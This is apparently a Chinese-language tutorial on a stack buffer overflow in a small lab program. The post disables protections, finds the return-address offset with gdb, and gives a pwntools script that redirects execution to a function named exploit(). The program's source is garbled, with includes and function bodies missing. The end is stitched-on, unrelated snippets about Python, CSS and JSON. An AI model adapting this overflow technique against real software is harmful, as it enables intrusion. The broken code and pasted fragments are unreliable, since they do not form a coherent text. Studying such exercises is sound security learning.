內容:
#include
void
exploit()
void
func()
intmain()
我們要做的是利用溢位執行exploit函式
分析:
先執行func函式,func函式裡有個read函式,read函式會讀取我們在螢幕上輸入的內容,但不會檢查內容的多少,全部複製到str裡,但str只能訪問20個,如果超出這個值,會造成溢位,我們利用溢位,將ret的返回位址改為exlpoit的位址就可以取執行exploit函式了。
首先,把保護機制關了
gdb執行除錯
gdb 11.exe
start
我們再檢視func的反彙編
執行ret語句後就去執行mov eax,0x0
,func函式呼叫了read函式,我們要利用read函式產生溢位,讓執行ret完去執行exploit函式。這個時候我們看看棧內容。
在push ebp
之前,esp的內容是mov eax,0x0
的eip值,lea eax,[ebp-0x28]
是read讀取內容的首位址,所以我們讓執行ret完去執行exploit函式,只需讓exploit的位址去覆蓋棧裡面mov eax,0x0
的eip值,從ebp-0x28
到mov eax,0x0
的eip值,位址相差0x28+0x4,因為在func函式裡先push 了edp,所以還要加上0x4。
利用程式:
from pwn import *
p=process
('./11.exe'
)//檔案路徑
offset =
0x28
+0x4
payload =
'a'*offset+
p32(
0x804843b
)//0x804843b是exploit首位址
p.sendline
(payload)
p.interactive
()
執行,成功獲得許可權
用乙個簡單的例子來理解python高階函式
用乙個簡單的例子來理解python高階函式 最近在用mailx傳送郵件,寫法大致如下.echo body mailx s title a corp.com,b corp.com 不知什麼原因,在一台機器上只要mailto中包含空格,郵件就傳送不出去.所以需要對收件人做規範化處理,即去除空格,去除多餘...
乙個簡單css例子
lang en charset utf 8 css講解title rel stylesheet href style.css body div dd xddaa hover abc ulli first child ulli last child ulli nth child 3 ulli only...
乙個簡單的json例子
名稱 年齡郵箱 response.setcontenttype text html charset utf 8 response.setheader cache control no cache jsonobject json new jsonobject try json.put jobs mem...